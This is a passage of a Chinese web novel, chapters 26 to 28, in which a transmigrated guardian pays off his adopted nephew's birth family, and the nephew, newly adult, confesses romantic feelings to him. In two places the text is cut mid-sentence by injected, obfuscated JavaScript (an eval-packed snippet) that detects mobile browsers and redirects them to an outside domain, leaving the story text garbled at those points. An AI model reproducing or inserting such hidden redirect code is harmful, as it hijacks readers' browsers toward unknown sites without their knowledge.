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林其真搓了搓手:“也没什么事,就是孩子他妈……想见见他。她回家以后总念叨以前在村子里这孩子最是让人心疼,她那事儿您应该也知道,原本走的时候其实本来该把孩子也带走的,但她连自己都不确定能不能真的跑掉,所以就……” 姜洄晃了晃神:“……是吗。” 林其真连连点头:“是啊是啊,她回来以后常常发呆,这些话也是她跟我们亲口提过的。” 姜洄默然。 从前倒从没有人和他提起过这些。 原来他不是被妈妈抛弃了,是妈妈怕自己也走不掉,所以才把他留了下来。 他张了张口:“……所以呢?” 所以为什么,十几年不闻不问,却在这个档口突然邀约见面? 他以为母亲已经将他的存在彻底放下了,不打算再管了……如今却又突然出现了,这是什么意思呢? 姜洄已经不是曾经那个天真好骗的少年了,这种拙劣的感情牌或许会令他有些动容,却不足以让他被蒙蔽。 林其真笑容僵了僵:“……听说赵总当初收养煤……呃,西西,是因为发现他是您大哥的孩子……可是我们问过孩子他妈,她也确实十月怀胎生下了一个男孩……” “您别误会,我没有别的意思,就是想着,毕竟也有几年的养育情分,听说今天是西西的成人礼,我们才发现西西就是当年那孩子……就想问问西西,还愿不愿意见见他妈妈,母子俩谈谈心什么的……” 姜洄冷漠地看着他,眼看着他的声音在自己的注视下变得越来越低。 最后只剩一声囫囵尴尬的笑:“赵总,您这么看着我干什么?” 姜洄:“林女士同意了吗?” 林其真连忙道:“同意,当然同意!” 但姜洄只是看着他,并不说话,神色也没有松快几分,反而带着几分讽刺。 服务员来上茶水,这让谈话紧绷古怪的氛围短暂中断了一下。 姜洄的手放在了茶杯上,他垂眸在心里对自己嗤笑。 明明隐约猜到了对方的来意,却还是来了。 或许是他潜意识还在期待着母亲这个词,期待母亲会不会出现,会不会告诉他,其实当年种种,我不怨你。 但他怎么也没想到,母亲愿意见他的原因,竟然是因为“赵熙”现在是赵家人。 因为赵家滔天的权贵,所以当他们得知如今的赵家少爷赵熙就是当年他们提都没提过、视为污点的“黑崽”时,又眼巴巴地凑上来,说要和他见面。 不过为了那两个字,钱,权。 他很感激林女士能说出这些话,证明他这么些年在心底对母亲的挂念不是一个人自作多情。 但他也同样无法容忍,在抛弃他十几年后,这家人又这样理直气壮地凑上来以亲人的名义吸血。 林女士是否真的同意,又或者被逼同意,这不重要,在姜洄眼里,眼前的事实才重要。 而事实是,最终林女士是同意了以这种目的来与他相认的,或许是因为不敢见他,所以连面都没露。 她的逃避,也是一种态度。 姜洄心口发冷,又像是烧起了一团火,他又想起上辈子,毫不犹豫卖出他消息的林家。 这家人一向如此势利眼,他早该明白的。 26. 表白 姜洄静了很久,听见林其真有些着急地喊他:“赵总?您看行不行说句话呀。” 姜洄回神:“……不行。” 见林其真面露不解焦灼,他压着火气冷笑:“打骚主意打到我头上,你算是踢到铁板了。” 赵熙脚步停在了几步之遥的屏风之后。 他原本确实是不打算来的,但进了会所,见了陈助理,对方却惊讶地脱口一句:“你没和老板去茶亭吗?” 赵熙诧异之下追问,陈助理惊觉失言,犹豫再三,还是将林家的事说了出来。 赵熙便明白姜洄为何不让自己去了。 他扭头又回来了茶亭,才到隔间门口,便听见了这么一段话。 从这个角度,他看不见里面的人,也自然不知道此时的小叔叔是什么表情。 但能听见姜洄声音冷得吓人。 “林家要和西西相认,从前干什么去了?我可从没听福利院提起过,有人后来这几年去找过他。” “选今天来相认,到底是威胁还是要叙旧,你们比谁都清楚。” “以为凭着那点从前的母子情份就能拿捏住他?你小看他了,也小看我了。” “要以他母家的身份捞取利益,问过我了吗?” “赵总您误会了,我们没有这个意思,就是想见见他……” 姜洄打断他:“五百万,这母子情分,从此两清。” 半晌,林其真咽了咽口水。 五百万,对普通家庭的天降横财,对林家来说也是一笔不小的财富。 但他们原本是打算和赵熙叙叙旧寒暄几句,表一番重修于好的心,今后能拿长久的油水…… 但显然,眼前这位赵总不想给他们这个机会。 再纠缠下去显然无用,林其真见好就收,拿起那支票,干笑道:“您客气了……您的意思,林家明白了。” “从今以后,林家任何人你都不准再出现在他面前。若有什么和他身世相关的不实传闻出现……” 姜洄面无表情道,“你知道,让林家从江城消失,我有的是手段。” 林其真点头哈腰地走了,路过门口看见赵熙还愣了一下,生怕被姜洄瞥见,匆忙走了。 姜洄坐在原位,看眼前茶盏中白雾袅袅,模糊了眼前的镜片。 熟悉的脚步声从门口踏进隔间,停在他身前,姜洄身体悄无声息地僵住了。 眼前镜片的雾气慢慢散去了一些,他看见了停在身侧的皮鞋。 这还是今早他亲眼看着赵熙穿上的。 “你怎么来了?”姜洄稳了稳心态,抬头看他,目光清冷,“都听见了?” “……我的成人礼,小叔叔可不能迟到,所以我想等着和小叔叔一起进去,就来找你了。”赵熙轻声道。 “为什么这么生气?”他问。 虽然姜洄看上去和从前并无二样,可是这么多年的相处,他自问已经对小叔叔的情绪感知非常敏锐,一眼就能看出,他现在很生气。 刚刚也是。 “……嗯?”姜洄没想到他最先问的竟然是这个,一时没能反应过来。 “我说,为什么这么生气?”赵熙于是又喃喃着重复了一遍,垂眸看着他,眼中有什么情绪在翻涌。 “这有什么为什么?”姜洄的肩颈无声无息松下了几分,他哼道,“你是我养大的,如今好不容易长大了,他们就眼巴巴要来攀亲戚占便宜,哪有这么好的事情?” 姜洄瞥他,面上慵懒散去,重新归为冷然:“难道你想要回去?” 也有这个可能,毕竟如今的赵熙不是他。 只是想到刚刚还在对方信誓旦旦说对方小看了赵熙的话,姜洄心中冷意越发刺骨。 沉默中,赵熙蹲了下来,轻轻叹息。 他在对方抗拒的姿态中,温柔却带几分强势地握住姜洄放在身侧的那只手,说:“不去。” “我是小叔叔养大的,小叔叔不想,我就不会去任何人身边。” 他用的字眼是“去”,不是“回”。 姜洄满身的尖刺忽然就因为这一句话而无措地收敛起来,茫然了片刻,竟然不知该怎么回答他了。 半晌,他硬邦邦道:“你不怨我自作主张赶走他?” 再怎么说,这个世界的赵熙才是和林家有血缘关系的那个人。 赵熙笑:“小叔叔做什么我都同意,你的意愿就是我的意愿,所以这不叫自作主张。” 他将脸放在姜洄腿上,低声道:“但是小叔叔。” “和林家断绝关系,从今以后,我就只有你一个人了。” 姜洄被他这两句话搞得心尖一颤。 “你的意愿就是我的意愿”。 某种程度上而言,这是事实。 是啊,他怎么会觉得赵熙会背弃自己回到林家呢? 他们本就是一个人,他讨厌的东西,赵熙必定不喜欢,他喜欢的东西,赵熙也绝不会讨厌。 他厌恶林家的嘴脸,赵熙又怎么会喜欢? 哪怕这条世界线上的剧情和选择已经偏离他人生原本的轨迹万万千,哪怕他们的身份和地位如今已经截然不同—— 他们也本就是同一个人。 赵熙是他唯一能够、也应该全身心去信任的人。 姜洄没有说话,他无言地回握住了赵熙的手。 这双手几年来养尊处优,除了右手中指骨节处因学习留下的茧痕,什么苦难的痕迹都没有,甚至长得比姜洄还要宽大一些。 他该高兴的,姜洄想。 赵熙远离了一切原本命运中该获得的痛苦,有姜洄的庇佑,哪怕他将来离开了,他留下的遗产也足够让赵熙一生无忧无难,幸福安康。 他该高兴的。 …… 赵熙的成人礼,他和姜洄却有些姗姗来迟。 好在地位足够高,就不会有任何人对此不满。 赵熙作为今天的主人公,正装上台对诸位来宾念了一段场面词,便忙于与各位商业人士周旋去了。 姜洄从见过林其真后兴致便不高,勉强带着笑意和几位熟悉的合作伙伴礼貌打过招呼,又将赵熙介绍给他们一一认识后,便扯着这几分笑主动离开,躲去了一旁。 赵熙的视线黏在他身上,直到他在角落的沙发坐下才收回来。 姜洄抿着杯子里的饮料,有一搭没一搭地吃着桌上摆放的名贵水果,边懒散地等着散场。 看着被众人众星捧月围在中间、谈笑风生的赵熙,心中有些不是滋味。 他又开始发呆。 一位姓尹的老总悄悄坐过来,端着酒杯和他搭话:“赵总,偷闲啊?” 姜洄回神,便笑笑:“年轻人的场合,让他们自己玩吧。” “赵总这话说的,好像你多老似的。”尹总摇摇头,好像觉得好笑。 随即他状似无意般调侃道,“话说,你也这么个年纪了,赵小少爷如今也拉扯大了,不打算找个伴什么的?” 原来又是为了这个。 姜洄面色不变,剥了橘子放到嘴里,语气云淡风轻:“我这个人生来就不太懂感情这个东西,最感兴趣的也就是吃喝玩乐了,还是不祸害人家好姑娘小伙了。” 尹总点点头,仿佛感同身受:“原来如此,不过,既然赵总不打算找伴……不知道您家少爷是个什么想法?” 姜洄一时脑筋没转过弯:“我不找伴,和他有什么关系?” 尹总尴尬地咳嗽一声:“呃,我的意思是说,赵小少爷,有没有这方面的打算呢?” “小少爷青年才俊,一表人才,我看着喜欢得很……正好,我家外甥女今天也来了,喏,就在那边。” 姜洄顺着他下巴微微抬起的方向看去,那姑娘坐在一旁的球桌边,眼神却目不转睛地盯着不远处的赵熙。 “我自卖自夸一番,我家这姑娘,长相身材都不差的,也是个聪明孩子,我看和您家小少爷相配得很,要是赵总有这个意愿,不如介绍两个孩子认识认识……” 姜洄莫名有些不爽。 赵熙才成年,就有这么多人上赶着来攀附巴结了,生怕来晚了就会被别人家抢去…… 他本该习惯的,却不知为何,徒生几分烦躁。 或许是赵熙如今的一切都太耀眼了,而周围所有人却还都在无时无刻地提醒他这一点…… 姜洄将手中杯子放下,动作不重,但杯子磕在桌面,清凌凌一声响,便让那位尹总不由自主止住了话头。 正要开口直接替赵熙拒绝了,那边赵熙却恰好端着酒杯过来,相当自然坐在了姜洄右侧,开口问:“小叔叔……尹总。在聊什么?” 他这个主角离场了,那边立刻就有人跟了过来,也围在一旁,但因为姜洄这个全场身份最高的人坐着,没敢坐过去,只是原本清冷的角落也因此忽然热闹了起来。 姜洄瞥他一眼,看他眉眼含笑、谦谦有礼的模样,嘴里的话就咽了回去。 他故作淡定道:“在聊你的‘婚事’。尹总想给你介绍对象呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033611|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一众围观者的耳朵瞬间就竖了起来。 什么什么? 赵家少爷才成年,这么快婚事就要定下了吗? 赵熙唇边笑意也闻声一顿。 姜洄看向那位尹总:“尹总这话问我可不合适。我家西西成年了,你该问他自己的意见,我管不着。” 于是所有人的目光都应声聚集在赵熙身上,开始善意地起哄。 调侃声里,赵熙的视线隐晦地落在了姜洄脸上……但只是一瞬便移开了,无人察觉。 他扬起笑脸,得体地表示:“多谢您的好意,不过我还在上学,暂时还没有订婚的想法,也不想谈对象,过几年再说吧。” 尹总只好遗憾地摇摇头,也不好过多纠缠。 他今天开了这个口,想必过不了多久上流圈子的其他人家也会有所耳闻,他的婚事短期内是不会有人不长眼地再提起来了。 等人都散了,姜洄又状似随口般问他:“为什么不想谈恋爱?” “我记得你很受欢迎,当初……还收过不少情书。” 赵熙默了默,帮他把杯子里的饮料满上了。 他低声道:“有喜欢的人了。” 说这话的时候,他将酒杯递给姜洄,目光钉在他脸上。 姜洄接过杯子的手一顿,手指微微蜷缩了一下,正好与他指腹擦过。 有喜欢的人? 什么时候的事? 他扯了扯嘴角,心里一时五味杂陈。 换做他这个年纪,当初还在拼死拼活拍戏呢,赵熙如今就已经找到喜欢的人了。 姜洄半晌才开口:“谁?” 赵熙笑笑,说:“您也认识,但不方便说。” 姜洄便禁不住又想:他现在还有小秘密不能对自己说了? 以前赵熙可是什么都跟他分享的,午饭学校食堂吃了什么,今天的作业有什么问题,和朋友去了哪里玩……虽然姜洄一向回得冷淡,但也都有所回应。 现在悄无声息有了喜欢的人,竟然还不肯说是谁。 姜洄心里更觉得别扭了。 胸腔里沉甸甸的,有些喘不过气,连喉咙都像堵了一块铁。 “所以说什么不谈恋爱,是糊弄他们的?” “嗯……算是。” 但他没奢求能真的谈上。 姜洄味同嚼蜡地抿了一口果汁,许久,闷声道:“既然有喜欢的……有空就带回家看看吧,我也替你掌掌眼。” 他没多久就要回去了,赵熙现在找个伴儿陪着,似乎也不错。 赵熙目光一错不错地盯着他,说:“小叔叔也想要我谈恋爱吗?” 姜洄就笑了,语气几分冷淡:“你谈不谈恋爱,我还能说了算?现在成年了,你喜欢谁我都不管你。” “男的也行?” “……”姜洄有些意外,又在意料之中地看了他一眼,点头,“行,怎么不行。我又不是什么封建大家长,同性结婚早就合法了。” 他就说,赵熙怎么可能和他性取向不一样。 赵熙心里微微一沉。 他目光细细扫过姜洄的眉眼,仿佛隔空用眼神将他的五官描摹了一遍,却也看不出他有任何介意的模样。 良久,在姜洄察觉不对之前,他垂下眼:“还没追到。” 姜洄其实不是很想谈论这个话题,不过今天赵熙的成人礼,他也就顺着一些,努力不扫兴地提起精神,作出一副坦然的长辈模样:“你表白过了?” 赵熙轻声道:“没有。” “为什么?” “……怕他不同意。” 姜洄觉得好笑。 他也不知道出于什么心理,竟然开始教导起自己这些年看来的经验:“没有表白过你在这担心什么?总得试试问过他,才知道会不会同意。” 他顿了顿,调笑:“而且我家西西这么优秀,谁不喜欢?” 西西这个称呼,只有姜洄会这么叫他,但其实在他本人面前喊的不多。 每次提起来,赵熙都感觉在喊小孩子,忍不住脸红。 而此时看着姜洄漫不经心的表情,赵熙一时冲动,竟然脱口而出一句:“小叔叔呢?” 姜洄愣了一下:“什么?” 赵熙说完就后悔了。 但顶着姜洄的目光,一秒,两秒。 他心一横,眼神黏在姜洄身上,硬气地没立刻收回去。 “我的意思是。” 他声色哑了几分:“小叔叔,也喜欢吗?” 27. 僵持 姜洄安静了会儿,竟然奇异地明白了他是什么意思。 赵熙问的,不是亲情也不是其他的“喜欢”,而是—— 恋人的那种。 反应过来的瞬间,他立即僵住了。 寂静中,赵熙看着他的表情,在心里叹气,想,他还是没忍住。 本来不打算说的,谁叫小叔叔说让他“试试”。 他很听小叔叔话的。 试试就试试。 虽然试完了也挺后悔的。 但看着姜洄脸色变幻,赵熙心中竟然升起了几分疏通经络般的畅意。 其实他在意识到自己对小叔叔感情的时候,也是这个样子。 姜洄震惊无言半晌,竟还能感觉到自己心里某个阴暗缝隙处,因为对方这句话而产生了一丝微妙的爽感。 ……这真是太,太荒谬了。 他亲手养大的孩子。 喜欢他? 姜洄一直知道自己很得人喜欢。 或因为他的外貌,或是身份地位。但面对那些打量觊觎的目光他也习以为常,向来没有放在心上过。 但是…… 但是! 赵熙是他自己啊! 他一时竟不知道是自己疯了,还是这个世界疯了。 哦,应该是赵熙疯了。 良久,姜洄终于如梦初醒般皱起眉,心头百般五味杂陈。 面上却还要努力板起自己冷肃的表情:“你开玩笑也要有个限度。” “小叔叔觉得呢?”赵熙顿了两秒,不急不忙地反问。 给他台阶他不下。 姜洄暗自咬牙:“我是你小叔叔。” 他第一反应竟然不是拒绝,也不是厌恶。 而是……这个? 赵熙忍不住轻笑一声,原本那些紧张忐忑,因为这一一句话反而烟消云散就:“又不是亲的。” 他们比谁都清楚,那份对外公布的亲子鉴定是假的。 姜洄难得磕巴了一下,无法反驳起来。 一旦意识到赵熙对他有这种不一样的想法,便感觉对方落在自己身上的眼神似乎也变得不对劲了起来,烫得他不敢多看。 姜洄:“荒唐。” 赵熙:“嗯,我荒唐。” 姜洄:“你喝醉了。” 赵熙伸手,接过他手中因为动作僵硬已经洒出了一些饮料的酒杯,重新放到桌上。 他道:“我没喝酒。” 小叔叔不喜欢,所以刚刚那些人给他敬酒,他喝的都是奶啤,一丁点酒味都没有的那种,甚至不算酒。 姜洄不说话了。 赵熙感觉要不是这还在宴会上,他可能在自己说完这几句话之后巴掌就已经扇过来了。 小叔叔虽然性情冷淡懒散,从前有时还会因为他做错事体罚他,会让他站几个小时或是没有凳子坐什么的……但还从没亲手打过他。 赵熙想想,竟然舔了舔干涩的唇瓣,有些口渴。 按姜洄的话说,喉咙又痒了。 姜洄被他看得脸滚烫,低声训斥:“……你什么眼神?收着点!” 他以前有这么明显吗?为什么姜洄从来没发现过? 赵熙“哦”了一声。 “你要是因为,”姜洄努力组织语言系统,“你要是因为我们经常睡一起,才产生了什么错觉,今后我们可以分房睡,正好你也成年了,再一起睡不合适……” “不是因为这个,”赵熙打断他,“我现在很清醒,小叔叔,我喜欢你。” 要是刚刚姜洄还能自欺欺人一下,现在赵熙这句话撂出来,他就只能彻底哑口无言了。 赵熙伸手似乎要探过来,但还没动作,姜洄便条件反射地僵着身体,和他拉开了距离。 “……” 一阵尴尬到要死的寂静。 “小叔叔可以好好想想,不用急着拒绝我。”赵熙脸上的浅笑顿了顿,微微垂首,“你知道,你不想的话,我不会为难你的。” 姜洄:“……嗯。” 他该直接拒绝的。 姜洄反思,这种荒唐的事情到底有什么好想的? 可看着赵熙低垂的眼眸和似乎有些受伤、却还是强撑着笑的表情…… 他承认,他心软了。 赵熙一向知道该怎么让他心软。 于是到嘴的拒绝和骂声,都因为这一个表情鬼使神差地咽下了。 他回去的车都罕见地没和赵熙坐同一辆,跟见了鬼一样,出了会所就匆忙坐陈助理的那辆车一起离开了。 不知道的看了,还以为这叔侄俩闹了什么矛盾。 余书肘了肘晚一步出来的赵熙,几人看着远去的车尾气茫然:“你跟你小叔刚刚说什么了?你小叔被你气着了?” 赵熙:“……或许是吧。” 当晚,赵熙敲门,准备回房睡觉。 他其实没指望小叔叔能答应,所以姜洄开门把他的枕头丢出来的时候也早有预料,被他眼疾手快接住了。 他拎着枕头一角,面露茫然地看向姜洄,仿佛不明白他的意思。 姜洄站在门后,没把门彻底打开,冷着脸移开视线:“看什么?留你和我一起睡还不知道会发生什么呢。” 再说了,哪有正常人家都这么大了还和长辈睡一起的? 想想这小子有段时间突然开始避着他,还躲回自己房间去睡,过了几天还是姜洄问他,他就又若无其事回来了……难道他这心思就是从那时候开始的? 姜洄忍了又忍,觉得自己没把赵熙揍一顿扔出别墅都是因为他心太善了。 赵熙笑:“……好吧,小叔叔想清楚之前,我就住在那边。” 姜洄:“说的好像你还能回来一样。” 他哼一声,把门砰一下关上了。 赵熙差点被门砸到鼻子,他退后一步,无奈地叹了口气。 过了两秒,又无声笑了。 小叔叔生气真可爱。 洗澡前,赵熙发现自己常穿的那几件衣服还在小叔叔那边,犹豫了一下,又过去敲门了。 良久里头才传来姜洄闷闷的声音:“干什么?” 赵熙:“小叔叔,我的衣服……” 半分钟后,门被打开,姜洄把他几件常穿的衣服都扔了出来。 还有内衣。 赵熙被堆了一脸,听见门又关上了,想到姜洄一边嫌弃一边把他内/裤翻出来的样子,唇边止不住想笑。 怎么能这么可爱。 ……他真是没救了。 连续好几个星期,赵熙都相当殷勤。 他平时忙于学业,只有周末才能和姜洄多见一见,他便总端着作业到楼下客厅的茶几写,一听见开门声便起身迎过来,又是接衣服又是帮忙放鞋子,去哪儿他都要跟一跟,恨不得黏在姜洄身上。 从前他其实也差不多,但那时候还算收敛点,不至于把殷勤表现得这么明显,姜洄也一直没觉得哪里不对。 如今知道了他的心思,就怎么看他怎么不得劲。 赵熙忙前忙后,一直亦步亦趋跟着他,一副你不爽也没办法、谁让我只喜欢你的赖皮样子。 被甩了冷脸也不生气,总是下一秒就若无其事般笑盈盈地和他继续说话。 偏偏他没做什么过界的事情,姜洄也找不到话头训斥。 他冷眼看着,时间久了,心头也忍不住生出几分烦躁。 赵熙搬走了,晚上身侧少了一个人,那股熟悉的清茶香味也没有了,其实他很不习惯,总是翻来覆去睡不着,又重新把听歌的习惯捡起来了。 但他做不到开口让赵熙回来,这就等于他默认了对方对自己的感情。 姜洄这段时间有时也会忍不住反思,不明白到底是他哪里的教育方式出了问题,赵熙是怎么对他起了这种心思的? 002看热闹不嫌事大,默默道:【这叫什么?这叫救赎。他以前过的那么苦,你突然出现了,他会爱上唯一的救赎不是很正常吗?】 姜洄:“你以为这是写小说呢?闭麦让我静静。” 言下之意:捣什么乱,滚。 002:【哦。】 姜洄也想过要不要直接搬走,毕竟原主名下并不止这一套房产,或许远离了就好了。 但赵熙这样对他献殷勤,姜洄其实也感觉得到,他其实也害怕。 害怕姜洄会因为这件事离开他。 就像他那天说过的,他现在没有“母亲”,也没有父亲。 他只有姜洄了。 哪怕姜洄并不觉得自己喜欢赵熙,也不得不承认,他们如今对于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033612|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彼此,就是最特殊的存在。 这段时间,因为这件事,姜洄心烦意乱到连工作的时候都有些不专心了。 这天下班,他突发其想打算去赵熙学校看看。 也不知道自己想过去干什么,但总之就是让王叔把车开过去了。 赵熙每上一所学校,他就投资一次,因此他虽然来的不多,但每次来,进校园都是畅通无阻。 这个时间点,走读的学生都已经放学了,校园里只剩下住校生。 周身的学生来来往往,都会好奇地像他投去打量的目光,不自觉被他这张脸吸引。 姜洄全都视若罔闻。 他也不知道自己要去哪,拒绝了王叔陪同的提议,只带了一个保镖,这已经是他久居高位后多年来的习惯。 路过荣誉墙,他停下了步子,因为最顶上的那个是赵熙。 一旁的荣誉历史中,用热烈的语气祝贺着他获得的一系列奖项,包括多种竞赛拿奖、奥数获冠等内容…… 看着照片里穿着白衬衫,笑容温和的那张熟悉的脸,姜洄有几秒短暂的愣神。 在冷风中伫立片刻,姜洄紧了紧脖子上的围巾,转身道:“回去吧。” 赵熙已经到家很久了,他仍然同之前一样坐在沙发上看书等着姜洄。 别墅里冬夏两季常年开着空调,进来就暖和了。 在他熟练地要接过姜洄的外套时,姜洄突然开口:“你最近学习成绩怎么样?” 他很久没关注过这个了。 赵熙愣了下:“挺好的……一直是第一名。” 姜洄点头,任由他将外套拿过去,又和他各自沉默地吃完了一顿饭。 饭后,赵熙拿了个精致的礼盒出来,放到他面前的桌上。 姜洄打开看了眼,是瓶高奢定制款男士香水。 赵熙轻声细语:“小叔叔最近总睡不好,我记得你以前说过喜欢我身上的味道……不过那款沐浴露同样的香水我怎么也找不到,就专门去定制了一款……希望小叔叔好眠。” 姜洄斜眼瞥他,他面不改色。 姜洄听出来了,希望他好眠是真,但他也在隐晦提醒姜洄,其实姜洄也已经离不开他了,睡觉都要闻着他的味道才能安心。 姜洄心里那根紧绷许久的名为理智的弦忽然就断了。 他其实对赵熙的感情很复杂。 说爱不彻底,说恨不纯粹,他甚至有过许多回,嫉妒对方能有这样光明灿烂的人生。 哪怕这些,都是他亲手赋予对方的。 偏偏赵熙和他本出同源……所以某种意义上,他们其实一样的阴暗恶劣,甚至赵熙更甚。 因为他还喜欢上了自己名义上的叔叔。 他不想毁掉这一切的,谁让赵熙自找的呢? 赵熙什么都有又怎样?他喜欢的人是自己,而姜洄,注定是要离开他的人。 这条路是赵熙自己选的,又不是他逼迫的。 不知道等自己走后,他又会是什么表情。 胸腔那些纷乱无章的情绪里,姜洄竟然对此感到了期待。 他一直对自己是个恶人的事实供认不讳。 姜洄合上盒子,冷不丁道:“真这么喜欢我?” 赵熙怔住,半晌红着脸点点头:“……嗯,喜欢。” 姜洄:“你确定吗?这份喜欢,真的是……恋人之间的喜欢,而不是对亲人的那种喜欢。” 赵熙仍旧点头:“确定。” “哪怕我或许并没有你想象中那么好?” 赵熙喃喃:“你在我眼里已经够好了。” 他说这话时,仿佛预感到什么,愣愣地看着姜洄,两只手交握,无意识焦灼地搓弄着。 他仿佛一个等审判的信徒,在判决的命令下达之前,忐忑不安,不知自己即将面临的是死刑还是无罪。 姜洄直视着他,正要开口时,赵熙忽然低下头,呼出一口气:“等一下。” 姜洄:“怎么?” 赵熙缓了缓:“如果您要拒绝我的话,就不用说了……” 姜洄默了默:“……等你高考结束后吧。” 赵熙抬头。 姜洄往后靠在了沙发上,转过目光,没再看他:“等你高考结束。那时候如果你的心意还不变的话……再说。” 28. 试试 “小叔叔是怕影响我学习吗?” 姜洄默认了。 他回到房间,听见许久不吭声的002冒了泡:【宿主,我觉得我有必要提醒你一件事。】 姜洄:“嗯?” 002:【如果你打算和赵熙在一起并留下来的话,世界线会因此更改,你留下来需要一点小小的代价。】 “是什么?” 002:【……暂不清楚,还没有任务者会选择和任务目标相关的人物在一起并留下来的,我们总局严格执行“具体事件具体分析”的指令。】 “那要是走呢?” 【如果要离开,那就简单了,还和以前一样,但因为你以原主的身份和他在一起过,如果你需要,我会抹除他和你在一起的记忆。】 002道:【宿主明白我的意思吗?如果和他在一起,要慎重啊。】 姜洄当然明白,002是怕到时候在一起了,姜洄决定留下,但要承受的代价他们负担不起。 他默了默,半晌嗯了一声,算是应了。 谁也看不出他心里的想法。 赵熙还是没有搬回主卧。 姜洄担心影响他学习,一直没有提起过要让他回来住的事情。 高考面前,一切事情都是小事。 赵熙得了他这句准话,心中也总算安定下来,开始重新专注学习。 他常年位居年级第一,其实早就可以保送了,但因为还没想好去哪所大学,所以才一直没有定下来。 干脆便想着等高考完分数出来再说,反正赵熙也对自己的学习成绩有信心。 这一晚,赵熙坐在自己的房间书桌前,点着小台灯在泛黄的笔记本上写着什么,偶尔出神看向窗外,想到隔壁还住着一个小叔叔,唇边便不由自主又溢出几分笑意。 一墙之隔,姜洄靠在主卧的床上,翻弄着手机,若有所感,和他同一时间抬起了头,看向了同一轮月亮。 窗外又下雪了。 002说:【还回去吗燕子。】 姜洄:“……从哪儿看的电视剧?” 他安静了片刻,说:“不知道,再说吧。” ——一切等赵熙高考完,再说。 时光如流水逝去,一眨眼,又是半年。 高考最后一天,姜洄在门口等着他考完最后一场试出来。 赵熙身高腿长,在人群中永远是最显眼的那个,他难得没有穿着蓝白条纹的校服,而是一件短袖衬衫,下身是齐膝宽松运动裤和一双白球鞋,简单又亮眼,青春洋溢的男高气息扑面而来。 远远望见姜洄,他便眼前一亮,匆匆挤开人群,拎着文具袋大踏步走过来。 很想直接抱上去,又生生忍住了,他停在两步开外,眉眼带笑:“小叔叔。” 姜洄道:“考的怎么样?” 赵熙勾唇:“我要是说大学随便选是不是太自傲了一点?” 姜洄:“……知道你还说。” 赵熙委屈:“小叔叔自己说的,有实力叫自信。” “……上车吧,带你去吃饭。” 半小时后,江城新开的一家火锅店里。 火锅热气腾腾往上冒,伴随着浓郁的番茄和麻辣底汤香味。 和赵熙吃火锅是一件很享受的事情,姜洄很喜欢吃辣但又受不了太辣,所以需要;另点一份番茄底,恰好赵熙说自己更偏爱甜一些,点了这锅底也不浪费。 姜洄还很喜欢吃火锅点小龙虾,但他不爱剥。 赵熙十六岁第一次和他吃火锅,发现这一点,就会十分自觉地帮他把虾壳剥开再去吃自己那份,姜洄因此后来每一次吃火锅点小龙虾,都从没有自己动过手。 眼下看着他熟练地带上手套开始剥壳,姜洄慢条斯理地把烫熟的牛肉卷塞进了自己嘴里:“想好报考什么学校没有?” “江大吧,或者附近城市的,第一志愿是江大。” 赵熙说的江大就是江城大学,有名的211。 姜洄道:“……专业呢?” 赵熙想了想,轻飘飘地说了个姜洄从没想过的词:“音乐。” 姜洄一愣:“音乐?” 他五味杂陈:“你是真的自己想学音乐,还是……” 还是单纯因为姜洄喜欢? 姜洄一直知道他闲暇时会为了逗自己开心去捣鼓一些歌曲录制,姜洄也确实喜欢听音乐,但也只是单纯的喜欢听。 他以为赵熙只是一时兴起,闲暇好玩,没想到他竟然真打算转门去学。 他不觉得赵熙以为自己去录歌有什么不好,但如果要因为他而特意要去上这个专业,姜洄却不能接受了。 他不喜欢这种自我感动一样的奉献,让对方必须接手公司是因为任务,是带他回来必须接受的东西,但学习的专业不是。 姜洄不希望经年以后,要是赵熙后悔学了音乐,又成了他的过错。 赵熙似乎也从他的沉默中看出他的想法,自然而然道:“我想学这个,是因为小叔叔,也是因为自己。” 姜洄:“嗯?” 赵熙笑笑:“其实搞音乐真的挺有意思的,我去的那个课外培训班老师也说我有天赋,而且,看着小叔叔因为音乐感到开心,我觉得值得,我想继续学下去。” “除此之外,我似乎也没有什么特殊的爱好兴趣了。” 打篮球之类的运动不算,赵熙仍然记得以前每次打球回家一身的汗,姜洄都会拒绝他坐上床,必须要洗得干干净净才能上去。 而且他又不想当运动员。 姜洄又沉默了。 面前的火锅咕噜噜冒着泡,他无言地嚼着嘴里的食物,心绪复杂难言:“我的开心那么重要?” 赵熙又轻轻笑了。 “我说过的啊,小叔叔开心,我就开心。” 姜洄真的很受不了他搞直球这套,匆匆垂下眼继续吃火锅,不说话了。 看他嘴唇因为吃辣变得红艳艳的,赵熙微微错开目光,递了两张纸过去:“太辣的话我去买两瓶奶。” 姜洄接过纸摇头。 和往常一样,他不需要担心饭菜吃不完会浪费,因为胃口超大的男高中生自会帮他解决。 吃过饭回家,眼看着就要进别墅的门了,赵熙忽然加快步伐,三两步走到他身侧,喊:“小叔叔。” 姜洄:“说。” 赵熙低声道:“还算数吗?” 姜洄按着指纹:“……什么?” “小叔叔说,等我高考之后,会重新考虑和我的关系。” “还算数吗?” “……这就要问你了。”姜洄开门的动作顿了顿,道,“你的心意还不变吗?” 赵熙轻声却坚定道:“一直没有变过。” 他曾经也思考过,是不是青春期的一时情愫悸动,才会对小叔叔产生这种不一样的感情,其实根本算不上喜欢。 但思考无果。 